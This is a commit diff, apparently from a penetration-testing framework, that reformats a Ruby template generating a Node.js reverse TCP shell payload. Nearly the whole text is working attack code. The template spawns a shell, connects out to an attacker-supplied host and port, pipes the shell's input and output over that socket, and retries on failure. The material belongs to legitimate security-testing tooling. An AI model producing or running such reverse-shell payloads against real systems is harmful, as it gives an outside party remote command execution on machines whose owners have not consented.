@@ -57,25 +57,23 @@ def nodejs_reverse_tcp(opts={})
57
57
sh = cp.spawn(cmd, []);
58
58
var client = this;
59
59
var counter=0;
60
- function StagerRepeat(){
61
- client.socket = net.connect(#{ datastore [ 'LPORT' ] } , "#{ lhost } ", #{ tls_hash } function() {
62
- client.socket.pipe(sh.stdin);
63
- if (typeof util.pump === "undefined") {
64
- sh.stdout.pipe(client.socket);
65
- sh.stderr.pipe(client.socket);
66
- } else {
67
- util.pump(sh.stdout, client.socket);
68
- util.pump(sh.stderr, client.socket);
69
- }
70
- });
71
- socket.on("error", function(error) {
72
- counter++;
73
- if(counter<= #{ datastore [ 'StagerRetryCount' ] } ){
74
- setTimeout(function() {
75
- StagerRepeat();
76
- }, #{ datastore [ 'StagerRetryWait' ] } *1000);
77
- } else
78
- process.exit();
60
+ function StagerRepeat(){
61
+ client.socket = net.connect(#{ datastore [ 'LPORT' ] } , "#{ lhost } ", #{ tls_hash } function() {
62
+ client.socket.pipe(sh.stdin);
63
+ if (typeof util.pump === "undefined") {
64
+ sh.stdout.pipe(client.socket);
65
+ sh.stderr.pipe(client.socket);
66
+ } else {
67
+ util.pump(sh.stdout, client.socket);
68
+ util.pump(sh.stderr, client.socket);
69
+ }
70
+ });
71
+ socket.on("error", function(error) {
72
+ counter++;
73
+ if(counter<= #{ datastore [ 'StagerRetryCount' ] } ){
74
+ setTimeout(function() { StagerRepeat();}, #{ datastore [ 'StagerRetryWait' ] } *1000);
75
+ } else
76
+ process.exit();
79
77
});
80
78
}
81
79
StagerRepeat();
0 commit comments